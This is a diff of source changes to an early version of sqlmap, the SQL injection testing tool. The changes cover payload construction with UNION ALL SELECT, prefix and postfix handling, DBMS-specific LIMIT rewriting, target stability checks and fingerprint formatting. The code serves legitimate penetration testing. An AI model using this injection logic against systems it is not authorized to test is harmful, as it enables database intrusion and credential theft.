||||
|
||||
thirdPage, thirdHeaders = Request.queryPage(content=True)
|
||||
|
||||
condition = firstPage == secondPage
|
||||
condition &= secondPage == thirdPage
|
||||
|
||||
if condition == False:
|
||||
# Prepare for the comparison algorithm based on Content-Length
|
||||
# header value
|
||||
contentLengths = []
|
||||
requestsHeaders = ( firstHeaders, secondHeaders, thirdHeaders )
|
||||
|
||||
for requestHeaders in requestsHeaders:
|
||||
requestHeaders = str(requestHeaders).lower()
|
||||
|
||||
clHeader = re.search("content-length:\s+([\d]+)", requestHeaders, re.I | re.M)
|
||||
|
||||
if clHeader and clHeader.group(1).isdigit():
|
||||
contentLengths.append(int(clHeader.group(1)))
|
||||
|
||||
if contentLengths:
|
||||
conf.contentLengths = ( min(contentLengths), max(contentLengths) )
|
||||
|
||||
warnMsg = "url is not stable, sqlmap inspected the headers "
|
||||
warnMsg += "and identified that Content-Length can be used "
|
||||
warnMsg += "in the comparison algorithm"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
kb.defaultResult = True
|
||||
|
||||
return True
|
||||
|
||||
# Prepare for the comparison algorithm based on page content's
|
||||
# stable lines subset
|
||||
counter = 0
|
||||
firstLines = firstPage.split("\n")
|
||||
secondLines = secondPage.split("\n")
|
||||
thirdLines = thirdPage.split("\n")
|
||||
|
||||
for firstLine in firstLines:
|
||||
if counter > len(secondLines) or counter > len(thirdLines):
|
||||
break
|
||||
|
||||
if firstLine in secondLines and firstLine in thirdLines:
|
||||
conf.equalLines.append(firstLine)
|
||||
|
||||
counter += 1
|
||||
|
||||
if conf.equalLines:
|
||||
warnMsg = "url is not stable, sqlmap inspected the page "
|
||||
warnMsg += "content and identified a stable lines subset "
|
||||
warnMsg += "to be used in the comparison algorithm"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
kb.defaultResult = True
|
||||
|
||||
return True
|
||||
|
||||
if condition == True:
|
||||
logMsg = "url is stable"
|
||||
logger.info(logMsg)
|
||||
|
||||
firstResult = Request.queryPage()
|
||||
time.sleep(0.5)
|
||||
|
||||
secondResult = Request.queryPage()
|
||||
time.sleep(0.5)
|
||||
|
||||
thirdResult = Request.queryPage()
|
||||
|
||||
condition = firstResult == secondResult
|
||||
condition &= secondResult == thirdResult
|
||||
|
||||
return condition
|
||||
|
||||
|
||||
@@ -283,11 +377,11 @@ def checkString():
|
||||
if condition:
|
||||
return True
|
||||
|
||||
logMsg = "testing if the provided string is within the "
|
||||
logMsg += "target URL page content"
|
||||
logger.info(logMsg)
|
||||
infoMsg = "testing if the provided string is within the "
|
||||
infoMsg += "target URL page content"
|
||||
logger.info(infoMsg)
|
||||
|
||||
page = Request.queryPage(content=True)
|
||||
page, _ = Request.queryPage(content=True)
|
||||
|
||||
if conf.string in page:
|
||||
setString()
|
||||
@@ -301,14 +395,46 @@ def checkString():
|
||||
return False
|
||||
|
||||
|
||||
def checkRegexp():
|
||||
if not conf.regexp:
|
||||
return True
|
||||
|
||||
condition = (
|
||||
kb.resumedQueries.has_key(conf.url) and
|
||||
kb.resumedQueries[conf.url].has_key("Regular expression") and
|
||||
kb.resumedQueries[conf.url]["Regular expression"][:-1] == conf.regexp
|
||||
)
|
||||
|
||||
if condition:
|
||||
return True
|
||||
|
||||
infoMsg = "testing if the provided regular expression matches within "
|
||||
infoMsg += "the target URL page content"
|
||||
logger.info(infoMsg)
|
||||
|
||||
page, _ = Request.queryPage(content=True)
|
||||
|
||||
if re.search(conf.regexp, page, re.I | re.M):
|
||||
setRegexp()
|
||||
return True
|
||||
else:
|
||||
errMsg = "you provided '%s' as the regular expression to " % conf.regexp
|
||||
errMsg += "match, but such a regular expression does not have any "
|
||||
errMsg += "match within the target URL page content, please provide "
|
||||
errMsg += "another regular expression."
|
||||
logger.error(errMsg)
|
||||
|
||||
return False
|
||||
|
||||
|
||||
def checkConnection():
|
||||
logMsg = "testing connection to the target url"
|
||||
logger.info(logMsg)
|
||||
infoMsg = "testing connection to the target url"
|
||||
logger.info(infoMsg)
|
||||
|
||||
try:
|
||||
kb.defaultResult = Request.queryPage()
|
||||
except sqlmapConnectionException, exceptionMsg:
|
||||
if conf.googleDork:
|
||||
if conf.multipleTargets:
|
||||
exceptionMsg += ", skipping to next url"
|
||||
logger.warn(exceptionMsg)
|
||||
return False
|
||||
|
||||
@@ -29,6 +29,7 @@ from lib.controller.checks import checkSqlInjection
|
||||
from lib.controller.checks import checkDynParam
|
||||
from lib.controller.checks import checkStability
|
||||
from lib.controller.checks import checkString
|
||||
from lib.controller.checks import checkRegexp
|
||||
from lib.controller.checks import checkConnection
|
||||
from lib.core.common import paramToDict
|
||||
from lib.core.common import readInput
|
||||
@@ -92,28 +93,45 @@ def start():
|
||||
"""
|
||||
|
||||
if conf.url:
|
||||
kb.targetUrls.add(conf.url)
|
||||
kb.targetUrls.add(( conf.url, conf.method, conf.data, conf.cookie ))
|
||||
|
||||
if conf.configFile and not kb.targetUrls:
|
||||
errMsg = "you did not edit the configuration file properly, set "
|
||||
errMsg += "the target url properly"
|
||||
errMsg += "the target url, list of targets or google dork"
|
||||
logger.error(errMsg)
|
||||
|
||||
if kb.targetUrls and len(kb.targetUrls) > 1:
|
||||
infoMsg = "sqlmap got a total of %d targets" % len(kb.targetUrls)
|
||||
logger.info(infoMsg)
|
||||
|
||||
hostCount = 0
|
||||
injData = []
|
||||
receivedCookies = []
|
||||
cookieStr = ""
|
||||
setCookieAsInjectable = True
|
||||
|
||||
for targetUrl in kb.targetUrls:
|
||||
if conf.googleDork:
|
||||
hostCount += 1
|
||||
for targetUrl, targetMethod, targetData, targetCookie in kb.targetUrls:
|
||||
conf.url = targetUrl
|
||||
conf.method = targetMethod
|
||||
conf.data = targetData
|
||||
conf.cookie = targetCookie
|
||||
injData = []
|
||||
|
||||
message = "url %d: %s, " % (hostCount, targetUrl)
|
||||
message += "do you want to test this url? [Y/n/q] "
|
||||
if conf.multipleTargets:
|
||||
hostCount += 1
|
||||
message = "url %d:\n%s %s" % (hostCount, conf.method or "GET", targetUrl)
|
||||
|
||||
if conf.cookie:
|
||||
message += "\nCookie: %s" % conf.cookie
|
||||
|
||||
if conf.data:
|
||||
message += "\nPOST data: %s" % conf.data
|
||||
|
||||
message += "\ndo you want to test this url? [Y/n/q] "
|
||||
test = readInput(message, default="Y")
|
||||
|
||||
if test[0] in ("n", "N"):
|
||||
if not test:
|
||||
pass
|
||||
elif test[0] in ("n", "N"):
|
||||
continue
|
||||
elif test[0] in ("q", "Q"):
|
||||
break
|
||||
@@ -121,10 +139,9 @@ def start():
|
||||
logMsg = "testing url %s" % targetUrl
|
||||
logger.info(logMsg)
|
||||
|
||||
conf.url = targetUrl
|
||||
initTargetEnv()
|
||||
|
||||
if not checkConnection() or not checkString():
|
||||
if not checkConnection() or not checkString() or not checkRegexp():
|
||||
continue
|
||||
|
||||
for _, cookie in enumerate(conf.cj):
|
||||
@@ -157,16 +174,13 @@ def start():
|
||||
__testableParameters = True
|
||||
|
||||
if not kb.injPlace or not kb.injParameter or not kb.injType:
|
||||
if not conf.string:
|
||||
if checkStability():
|
||||
logMsg = "url is stable"
|
||||
logger.info(logMsg)
|
||||
else:
|
||||
errMsg = "url is not stable, try with --string option, refer "
|
||||
errMsg += "to the user's manual paragraph 'String match' "
|
||||
errMsg += "for details"
|
||||
if not conf.string and not conf.regexp and not conf.eRegexp:
|
||||
if not checkStability():
|
||||
errMsg = "url is not stable, try with --string or "
|
||||
errMsg += "--regexp options, refer to the user's manual "
|
||||
errMsg += "paragraph 'Page comparison' for details"
|
||||
|
||||
if conf.googleDork:
|
||||
if conf.multipleTargets:
|
||||
errMsg += ", skipping to next url"
|
||||
logger.warn(errMsg)
|
||||
|
||||
@@ -201,30 +215,41 @@ def start():
|
||||
|
||||
break
|
||||
else:
|
||||
infoMsg = "%s parameter '%s' is not " % (place, parameter)
|
||||
infoMsg += "injectable with %d parenthesis" % parenthesis
|
||||
logger.info(infoMsg)
|
||||
|
||||
if not injData:
|
||||
warnMsg = "%s parameter '%s' is not " % (place, parameter)
|
||||
warnMsg += "injectable with %d parenthesis" % parenthesis
|
||||
warnMsg += "injectable"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
if not kb.injPlace or not kb.injParameter or not kb.injType:
|
||||
if len(injData) == 1:
|
||||
injDataSelected = injData[0]
|
||||
|
||||
elif len(injData) > 1:
|
||||
injDataSelected = __selectInjection(injData)
|
||||
|
||||
elif conf.multipleTargets:
|
||||
continue
|
||||
|
||||
else:
|
||||
return
|
||||
|
||||
if injDataSelected == "Quit":
|
||||
return
|
||||
|
||||
else:
|
||||
kb.injPlace, kb.injParameter, kb.injType = injDataSelected
|
||||
setInjection()
|
||||
|
||||
if not conf.googleDork and ( not kb.injPlace or not kb.injParameter or not kb.injType ):
|
||||
if not conf.multipleTargets and ( not kb.injPlace or not kb.injParameter or not kb.injType ):
|
||||
raise sqlmapNotVulnerableException, "all parameters are not injectable"
|
||||
elif kb.injPlace and kb.injParameter and kb.injType:
|
||||
condition = False
|
||||
|
||||
if conf.googleDork:
|
||||
if conf.multipleTargets:
|
||||
message = "do you want to exploit this SQL injection? [Y/n] "
|
||||
exploit = readInput(message, default="Y")
|
||||
|
||||
|
||||
@@ -55,7 +55,7 @@ def setHandler():
|
||||
|
||||
for dbmsAliases, dbmsEntry in dbmsMap:
|
||||
if conf.dbms and conf.dbms not in dbmsAliases:
|
||||
debugMsg = "skipping to test for %s" % dbmsNames[count]
|
||||
debugMsg = "skipping test for %s" % dbmsNames[count]
|
||||
logger.debug(debugMsg)
|
||||
count += 1
|
||||
continue
|
||||
|
||||
@@ -47,24 +47,28 @@ class Agent:
|
||||
temp.stop = randomStr(6)
|
||||
|
||||
|
||||
def payload(self, place=None, parameter=None, value=None, newValue=None):
|
||||
def payload(self, place=None, parameter=None, value=None, newValue=None, negative=False):
|
||||
"""
|
||||
This method replaces the affected parameter with the SQL
|
||||
injection statement to request
|
||||
"""
|
||||
|
||||
negValue = ""
|
||||
retValue = ""
|
||||
|
||||
if negative == True or conf.paramNegative == True:
|
||||
negValue = "-"
|
||||
|
||||
# After identifing the injectable parameter
|
||||
if kb.injPlace == "User-Agent":
|
||||
retValue = kb.injParameter.replace(kb.injParameter,
|
||||
kb.injParameter + newValue)
|
||||
"%s%s" % (negValue, kb.injParameter + newValue))
|
||||
elif kb.injParameter:
|
||||
paramString = conf.parameters[kb.injPlace]
|
||||
paramDict = conf.paramDict[kb.injPlace]
|
||||
value = paramDict[kb.injParameter]
|
||||
retValue = paramString.replace("%s=%s" % (kb.injParameter, value),
|
||||
"%s=%s" % (kb.injParameter, value + newValue))
|
||||
"%s=%s%s" % (kb.injParameter, negValue, value + newValue))
|
||||
|
||||
# Before identifing the injectable parameter
|
||||
elif parameter == "User-Agent":
|
||||
@@ -86,7 +90,10 @@ class Agent:
|
||||
|
||||
query = ""
|
||||
|
||||
if kb.injType == "numeric":
|
||||
if conf.prefix:
|
||||
query = conf.prefix
|
||||
else:
|
||||
if kb.injType == "numeric" or conf.postfix:
|
||||
pass
|
||||
elif kb.injType in ( "stringsingle", "likesingle" ):
|
||||
query = "'"
|
||||
@@ -95,7 +102,7 @@ class Agent:
|
||||
else:
|
||||
raise sqlmapNoneDataException, "unsupported injection type"
|
||||
|
||||
if kb.parenthesis != None:
|
||||
if kb.parenthesis not in ( None, 0 ):
|
||||
query += "%s " % (")" * kb.parenthesis)
|
||||
|
||||
query += string
|
||||
@@ -113,8 +120,11 @@ class Agent:
|
||||
randStr = randomStr()
|
||||
|
||||
if comment:
|
||||
string += "%s" % comment
|
||||
string += comment
|
||||
|
||||
if conf.postfix:
|
||||
string += " %s" % conf.postfix
|
||||
else:
|
||||
if kb.parenthesis != None:
|
||||
string += " AND %s" % ("(" * kb.parenthesis)
|
||||
else:
|
||||
@@ -220,24 +230,51 @@ class Agent:
|
||||
|
||||
|
||||
def getFields(self, query):
|
||||
fieldsSelectTop = re.search("\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", query, re.I)
|
||||
fieldsSelectDistinct = re.search("\ASELECT\s+DISTINCT\((.+?)\)\s+FROM", query, re.I)
|
||||
fieldsSelectFrom = re.search("\ASELECT\s+(.+?)\s+FROM\s+", query, re.I)
|
||||
fieldsSelect = re.search("\ASELECT\s+(.*)", query, re.I)
|
||||
"""
|
||||
Take in input a query string and return its fields (columns) and
|
||||
more details.
|
||||
|
||||
Example:
|
||||
|
||||
Input: SELECT user, password FROM mysql.user
|
||||
Output: user,password
|
||||
|
||||
@param query: query to be processed
|
||||
@type query: C{str}
|
||||
|
||||
@return: query fields (columns) and more details
|
||||
@rtype: C{str}
|
||||
"""
|
||||
|
||||
if query.startswith("SELECT ") and "(SELECT " in query:
|
||||
firstChar = "\\("
|
||||
else:
|
||||
firstChar = "\\A"
|
||||
|
||||
fieldsSelectTop = re.search("%sSELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM" % firstChar, query, re.I)
|
||||
fieldsSelectDistinct = re.search("%sSELECT\s+DISTINCT\((.+?)\)\s+FROM" % firstChar, query, re.I)
|
||||
fieldsSelectFrom = re.search("%sSELECT\s+(.+?)\s+FROM\s+" % firstChar, query, re.I)
|
||||
fieldsSelect = re.search("%sSELECT\s+(.*)" % firstChar, query, re.I)
|
||||
fieldsNoSelect = query
|
||||
|
||||
if fieldsSelectTop:
|
||||
fieldsToCast = fieldsSelectTop.groups()[0]
|
||||
fieldsToCastStr = fieldsSelectTop.groups()[0]
|
||||
elif fieldsSelectDistinct:
|
||||
fieldsToCast = fieldsSelectDistinct.groups()[0]
|
||||
fieldsToCastStr = fieldsSelectDistinct.groups()[0]
|
||||
elif fieldsSelectFrom:
|
||||
fieldsToCast = fieldsSelectFrom.groups()[0]
|
||||
fieldsToCastStr = fieldsSelectFrom.groups()[0]
|
||||
elif fieldsSelect:
|
||||
fieldsToCast = fieldsSelect.groups()[0]
|
||||
fieldsToCastStr = fieldsSelect.groups()[0]
|
||||
elif fieldsNoSelect:
|
||||
fieldsToCast = fieldsNoSelect
|
||||
fieldsToCastStr = fieldsNoSelect
|
||||
|
||||
return fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsToCast
|
||||
fieldsToCastList = fieldsToCastStr.replace(", ", ",")
|
||||
fieldsToCastList = fieldsToCastList.split(",")
|
||||
|
||||
if query.startswith("SELECT ") and "(SELECT " in query:
|
||||
fieldsSelectFrom = None
|
||||
|
||||
return fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsToCastList, fieldsToCastStr
|
||||
|
||||
|
||||
def concatQuery(self, query):
|
||||
@@ -269,9 +306,9 @@ class Agent:
|
||||
concatQuery = ""
|
||||
query = query.replace(", ", ",")
|
||||
|
||||
fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsToCast = self.getFields(query)
|
||||
castedFields = self.nullCastConcatFields(fieldsToCast)
|
||||
concatQuery = query.replace(fieldsToCast, castedFields, 1)
|
||||
fieldsSelectFrom, fieldsSelect, fieldsNoSelect, _, fieldsToCastStr = self.getFields(query)
|
||||
castedFields = self.nullCastConcatFields(fieldsToCastStr)
|
||||
concatQuery = query.replace(fieldsToCastStr, castedFields, 1)
|
||||
|
||||
if kb.dbms == "MySQL":
|
||||
if fieldsSelectFrom:
|
||||
@@ -343,7 +380,7 @@ class Agent:
|
||||
@rtype: C{str}
|
||||
"""
|
||||
|
||||
inbandQuery = self.prefixQuery("UNION ALL SELECT ")
|
||||
inbandQuery = self.prefixQuery(" UNION ALL SELECT ")
|
||||
|
||||
if not exprPosition:
|
||||
exprPosition = kb.unionPosition
|
||||
@@ -356,7 +393,7 @@ class Agent:
|
||||
inbandQuery += ", "
|
||||
|
||||
if element == exprPosition:
|
||||
if " FROM " in query:
|
||||
if " FROM " in query and not query.startswith("SELECT ") and not "(SELECT " in query:
|
||||
conditionIndex = query.rindex(" FROM ")
|
||||
inbandQuery += "%s" % query[:conditionIndex]
|
||||
else:
|
||||
@@ -364,7 +401,7 @@ class Agent:
|
||||
else:
|
||||
inbandQuery += "NULL"
|
||||
|
||||
if " FROM " in query:
|
||||
if " FROM " in query and not query.startswith("SELECT ") and not "(SELECT " in query:
|
||||
conditionIndex = query.rindex(" FROM ")
|
||||
inbandQuery += "%s" % query[conditionIndex:]
|
||||
|
||||
@@ -381,5 +418,55 @@ class Agent:
|
||||
return inbandQuery
|
||||
|
||||
|
||||
def limitQuery(self, num, query, fieldsList=None):
|
||||
"""
|
||||
Take in input a query string and return its limited query string.
|
||||
|
||||
Example:
|
||||
|
||||
Input: SELECT user FROM mysql.users
|
||||
Output: SELECT user FROM mysql.users LIMIT <num>, 1
|
||||
|
||||
@param num: limit number
|
||||
@type num: C{int}
|
||||
|
||||
@param query: query to be processed
|
||||
@type query: C{str}
|
||||
|
||||
@param fieldsList: list of fields within the query
|
||||
@type fieldsList: C{list}
|
||||
|
||||
@return: limited query string
|
||||
@rtype: C{str}
|
||||
"""
|
||||
|
||||
limitedQuery = query
|
||||
limitStr = queries[kb.dbms].limit
|
||||
fromIndex = limitedQuery.index(" FROM ")
|
||||
untilFrom = limitedQuery[:fromIndex]
|
||||
fromFrom = limitedQuery[fromIndex+1:]
|
||||
|
||||
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
||||
limitStr = queries[kb.dbms].limit % (num, 1)
|
||||
limitedQuery += " %s" % limitStr
|
||||
|
||||
elif kb.dbms == "Oracle":
|
||||
limitedQuery = "%s FROM (%s, %s" % (untilFrom, untilFrom, limitStr)
|
||||
limitedQuery = limitedQuery % fromFrom
|
||||
limitedQuery += "=%d" % (num + 1)
|
||||
|
||||
elif kb.dbms == "Microsoft SQL Server":
|
||||
if re.search(" ORDER BY ", limitedQuery, re.I):
|
||||
untilOrderChar = limitedQuery.index(" ORDER BY ")
|
||||
limitedQuery = limitedQuery[:untilOrderChar]
|
||||
|
||||
limitedQuery = limitedQuery.replace("SELECT ", (limitStr % 1), 1)
|
||||
limitedQuery = "%s WHERE %s " % (limitedQuery, fieldsList[0])
|
||||
limitedQuery += "NOT IN (%s" % (limitStr % num)
|
||||
limitedQuery += "%s %s)" % (fieldsList[0], fromFrom)
|
||||
|
||||
return limitedQuery
|
||||
|
||||
|
||||
# SQL agent
|
||||
agent = Agent()
|
||||
|
||||
@@ -75,7 +75,7 @@ def paramToDict(place, parameters=None):
|
||||
elem = element.split("=")
|
||||
|
||||
if len(elem) == 2:
|
||||
parameter = elem[0]
|
||||
parameter = elem[0].replace(" ", "")
|
||||
|
||||
condition = not conf.testParameter
|
||||
condition |= parameter in conf.testParameter
|
||||
@@ -97,7 +97,7 @@ def paramToDict(place, parameters=None):
|
||||
warnMsg = "the testable parameter '%s' " % paramStr
|
||||
warnMsg += "you provided is not into the %s" % place
|
||||
|
||||
if conf.googleDork:
|
||||
if conf.multipleTargets:
|
||||
warnMsg += ", skipping to next url"
|
||||
|
||||
logger.warn(warnMsg)
|
||||
@@ -112,7 +112,7 @@ def paramToDict(place, parameters=None):
|
||||
return testableParameters
|
||||
|
||||
|
||||
def formatFingerprint(versions=None):
|
||||
def formatDBMSfp(versions=None):
|
||||
"""
|
||||
This function format the back-end DBMS fingerprint value and return its
|
||||
values formatted as a human readable string.
|
||||
@@ -128,6 +128,70 @@ def formatFingerprint(versions=None):
|
||||
return "%s %s" % (kb.dbms, versions)
|
||||
elif isinstance(versions, (list, set, tuple)):
|
||||
return "%s %s" % (kb.dbms, " and ".join([version for version in versions]))
|
||||
elif not versions:
|
||||
warnMsg = "unable to extensively fingerprint the back-end "
|
||||
warnMsg += "DBMS version"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return kb.dbms
|
||||
|
||||
|
||||
def __formatFingerprintString(values, chain=" or "):
|
||||
string = "|".join([v for v in values])
|
||||
return string.replace("|", chain)
|
||||
|
||||
|
||||
def formatFingerprint(target, info):
|
||||
"""
|
||||
This function format the back-end operating system fingerprint value
|
||||
and return its values formatted as a human readable string.
|
||||
|
||||
Example of info (kb.headersFp) dictionary:
|
||||
|
||||
{
|
||||
'distrib': set(['Ubuntu']),
|
||||
'type': set(['Linux']),
|
||||
'technology': set(['PHP 5.2.6', 'Apache 2.2.9']),
|
||||
'release': set(['8.10'])
|
||||
}
|
||||
|
||||
Example of info (kb.bannerFp) dictionary:
|
||||
|
||||
{
|
||||
'sp': set(['Service Pack 4']),
|
||||
'dbmsVersion': '8.00.194',
|
||||
'dbmsServicePack': '0',
|
||||
'distrib': set(['2000']),
|
||||
'dbmsRelease': '2000',
|
||||
'type': set(['Windows'])
|
||||
}
|
||||
|
||||
@return: detected back-end operating system based upon fingerprint
|
||||
techniques.
|
||||
@rtype: C{str}
|
||||
"""
|
||||
|
||||
infoStr = ""
|
||||
|
||||
if info and "type" in info:
|
||||
infoStr += "%s operating system: %s" % (target, __formatFingerprintString(info["type"]))
|
||||
|
||||
if "distrib" in info:
|
||||
infoStr += " %s" % __formatFingerprintString(info["distrib"])
|
||||
|
||||
if "release" in info:
|
||||
infoStr += " %s" % __formatFingerprintString(info["release"])
|
||||
|
||||
if "sp" in info:
|
||||
infoStr += " %s" % __formatFingerprintString(info["sp"])
|
||||
|
||||
if "codename" in info:
|
||||
infoStr += " (%s)" % __formatFingerprintString(info["codename"])
|
||||
|
||||
if "technology" in info:
|
||||
infoStr += "\nweb application technology: %s" % __formatFingerprintString(info["technology"], ", ")
|
||||
|
||||
return infoStr
|
||||
|
||||
|
||||
def getHtmlErrorFp():
|
||||
@@ -149,7 +213,7 @@ def getHtmlErrorFp():
|
||||
htmlVer = kb.htmlFp[0]
|
||||
htmlParsed = htmlVer
|
||||
elif len(kb.htmlFp) > 1:
|
||||
htmlParsed = "or ".join([htmlFp for htmlFp in kb.htmlFp])
|
||||
htmlParsed = " or ".join([htmlFp for htmlFp in kb.htmlFp])
|
||||
|
||||
return htmlParsed
|
||||
|
||||
@@ -207,7 +271,7 @@ def getDirectories():
|
||||
if kb.docRoot:
|
||||
directories.add(kb.docRoot)
|
||||
|
||||
pagePath = re.search('^/(.*)/', conf.path)
|
||||
pagePath = re.search("^/(.*)/", conf.path)
|
||||
|
||||
if kb.docRoot and pagePath:
|
||||
pagePath = pagePath.groups()[0]
|
||||
@@ -429,13 +493,39 @@ def parsePasswordHash(password):
|
||||
|
||||
|
||||
def cleanQuery(query):
|
||||
# SQL SELECT statement
|
||||
upperQuery = query.replace("select ", "SELECT ")
|
||||
upperQuery = upperQuery.replace(" from ", " FROM ")
|
||||
upperQuery = upperQuery.replace(" where ", " WHERE ")
|
||||
upperQuery = upperQuery.replace(" group by ", " GROUP BY ")
|
||||
upperQuery = upperQuery.replace(" order by ", " ORDER BY ")
|
||||
upperQuery = upperQuery.replace(" having ", " HAVING ")
|
||||
upperQuery = upperQuery.replace(" limit ", " LIMIT ")
|
||||
upperQuery = upperQuery.replace(" offset ", " OFFSET ")
|
||||
upperQuery = upperQuery.replace(" order by ", " ORDER BY ")
|
||||
upperQuery = upperQuery.replace(" group by ", " GROUP BY ")
|
||||
upperQuery = upperQuery.replace(" union all ", " UNION ALL ")
|
||||
upperQuery = upperQuery.replace(" rownum ", " ROWNUM ")
|
||||
|
||||
# SQL data definition
|
||||
upperQuery = upperQuery.replace(" create ", " CREATE ")
|
||||
upperQuery = upperQuery.replace(" drop ", " DROP ")
|
||||
upperQuery = upperQuery.replace(" truncate ", " TRUNCATE ")
|
||||
upperQuery = upperQuery.replace(" alter ", " ALTER ")
|
||||
|
||||
# SQL data manipulation
|
||||
upperQuery = upperQuery.replace(" insert ", " INSERT ")
|
||||
upperQuery = upperQuery.replace(" update ", " UPDATE ")
|
||||
upperQuery = upperQuery.replace(" delete ", " DELETE ")
|
||||
upperQuery = upperQuery.replace(" merge ", " MERGE ")
|
||||
|
||||
# SQL data control
|
||||
upperQuery = upperQuery.replace(" grant ", " GRANT ")
|
||||
|
||||
# SQL transaction control
|
||||
upperQuery = upperQuery.replace(" start transaction ", " START TRANSACTION ")
|
||||
upperQuery = upperQuery.replace(" begin work ", " BEGIN WORK ")
|
||||
upperQuery = upperQuery.replace(" begin transaction ", " BEGIN TRANSACTION ")
|
||||
upperQuery = upperQuery.replace(" commit ", " COMMIT ")
|
||||
upperQuery = upperQuery.replace(" rollback ", " ROLLBACK ")
|
||||
|
||||
return upperQuery
|
||||
|
||||
@@ -445,6 +535,7 @@ def setPaths():
|
||||
paths.SQLMAP_SHELL_PATH = "%s/shell" % paths.SQLMAP_ROOT_PATH
|
||||
paths.SQLMAP_TXT_PATH = "%s/txt" % paths.SQLMAP_ROOT_PATH
|
||||
paths.SQLMAP_XML_PATH = "%s/xml" % paths.SQLMAP_ROOT_PATH
|
||||
paths.SQLMAP_XML_BANNER_PATH = "%s/banner" % paths.SQLMAP_XML_PATH
|
||||
paths.SQLMAP_OUTPUT_PATH = "%s/output" % paths.SQLMAP_ROOT_PATH
|
||||
paths.SQLMAP_DUMP_PATH = paths.SQLMAP_OUTPUT_PATH + "/%s/dump"
|
||||
paths.SQLMAP_FILES_PATH = paths.SQLMAP_OUTPUT_PATH + "/%s/files"
|
||||
@@ -454,8 +545,12 @@ def setPaths():
|
||||
paths.SQLMAP_CONFIG = "%s/sqlmap-%s.conf" % (paths.SQLMAP_ROOT_PATH, randomStr())
|
||||
paths.FUZZ_VECTORS = "%s/fuzz_vectors.txt" % paths.SQLMAP_TXT_PATH
|
||||
paths.ERRORS_XML = "%s/errors.xml" % paths.SQLMAP_XML_PATH
|
||||
paths.MSSQL_XML = "%s/mssql.xml" % paths.SQLMAP_XML_PATH
|
||||
paths.QUERIES_XML = "%s/queries.xml" % paths.SQLMAP_XML_PATH
|
||||
paths.GENERIC_XML = "%s/generic.xml" % paths.SQLMAP_XML_BANNER_PATH
|
||||
paths.MSSQL_XML = "%s/mssql.xml" % paths.SQLMAP_XML_BANNER_PATH
|
||||
paths.MYSQL_XML = "%s/mysql.xml" % paths.SQLMAP_XML_BANNER_PATH
|
||||
paths.ORACLE_XML = "%s/oracle.xml" % paths.SQLMAP_XML_BANNER_PATH
|
||||
paths.PGSQL_XML = "%s/postgresql.xml" % paths.SQLMAP_XML_BANNER_PATH
|
||||
|
||||
|
||||
def weAreFrozen():
|
||||
@@ -507,15 +602,20 @@ def expandAsteriskForColumns(expression):
|
||||
# If the user provided an asterisk rather than the column(s)
|
||||
# name, sqlmap will retrieve the columns itself and reprocess
|
||||
# the SQL query string (expression)
|
||||
asterisk = re.search("^SELECT\s+\*\s+FROM\s+(\w+)[\.]+(\w+)\s*", expression, re.I)
|
||||
asterisk = re.search("^SELECT\s+\*\s+FROM\s+([\w\.\_]+)\s*", expression, re.I)
|
||||
|
||||
if asterisk:
|
||||
infoMsg = "you did not provide the fields in your query. "
|
||||
infoMsg += "sqlmap will retrieve the column names itself"
|
||||
logger.info(infoMsg)
|
||||
|
||||
conf.db = asterisk.group(1)
|
||||
conf.tbl = asterisk.group(2)
|
||||
dbTbl = asterisk.group(1)
|
||||
|
||||
if dbTbl and "." in dbTbl:
|
||||
conf.db, conf.tbl = dbTbl.split(".")
|
||||
else:
|
||||
conf.tbl = dbTbl
|
||||
|
||||
columnsDict = conf.dbmsHandler.getColumns(onlyColNames=True)
|
||||
|
||||
if columnsDict and conf.db in columnsDict and conf.tbl in columnsDict[conf.db]:
|
||||
@@ -531,7 +631,7 @@ def expandAsteriskForColumns(expression):
|
||||
return expression
|
||||
|
||||
|
||||
def getRange(count, dump=False):
|
||||
def getRange(count, dump=False, plusOne=False):
|
||||
count = int(count)
|
||||
indexRange = None
|
||||
limitStart = 1
|
||||
@@ -544,10 +644,59 @@ def getRange(count, dump=False):
|
||||
if isinstance(conf.limitStart, int) and conf.limitStart > 0 and conf.limitStart <= limitStop:
|
||||
limitStart = conf.limitStart
|
||||
|
||||
# TODO: also for Microsoft SQL Server in getColumns method?
|
||||
if kb.dbms == "Oracle":
|
||||
if kb.dbms == "Oracle" or plusOne == True:
|
||||
indexRange = range(limitStart, limitStop + 1)
|
||||
else:
|
||||
indexRange = range(limitStart - 1, limitStop)
|
||||
|
||||
return indexRange
|
||||
|
||||
|
||||
def parseUnionPage(output, expression, partial=False, condition=None):
|
||||
data = []
|
||||
|
||||
outCond1 = ( output.startswith(temp.start) and output.endswith(temp.stop) )
|
||||
outCond2 = ( output.startswith("__START__") and output.endswith("__STOP__") )
|
||||
|
||||
if outCond1 or outCond2:
|
||||
if outCond1:
|
||||
regExpr = '%s(.*?)%s' % (temp.start, temp.stop)
|
||||
elif outCond2:
|
||||
regExpr = '__START__(.*?)__STOP__'
|
||||
|
||||
output = re.findall(regExpr, output, re.S)
|
||||
|
||||
if condition == None:
|
||||
condition = (
|
||||
kb.resumedQueries and conf.url in kb.resumedQueries.keys()
|
||||
and expression in kb.resumedQueries[conf.url].keys()
|
||||
)
|
||||
|
||||
if partial or not condition:
|
||||
logOutput = "".join(["__START__%s__STOP__" % replaceNewlineTabs(value) for value in output])
|
||||
dataToSessionFile("[%s][%s][%s][%s][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression, logOutput))
|
||||
|
||||
output = set(output)
|
||||
|
||||
for entry in output:
|
||||
info = []
|
||||
|
||||
if "__DEL__" in entry:
|
||||
entry = entry.split("__DEL__")
|
||||
else:
|
||||
entry = entry.split(temp.delimiter)
|
||||
|
||||
if len(entry) == 1:
|
||||
data.append(entry[0])
|
||||
else:
|
||||
for value in entry:
|
||||
info.append(value)
|
||||
|
||||
data.append(info)
|
||||
else:
|
||||
data = output
|
||||
|
||||
if len(data) == 1 and isinstance(data[0], str):
|
||||
data = data[0]
|
||||
|
||||
return data
|
||||
|
||||
@@ -219,7 +219,7 @@ class Dump:
|
||||
db = "All"
|
||||
table = tableValues["__infos__"]["table"]
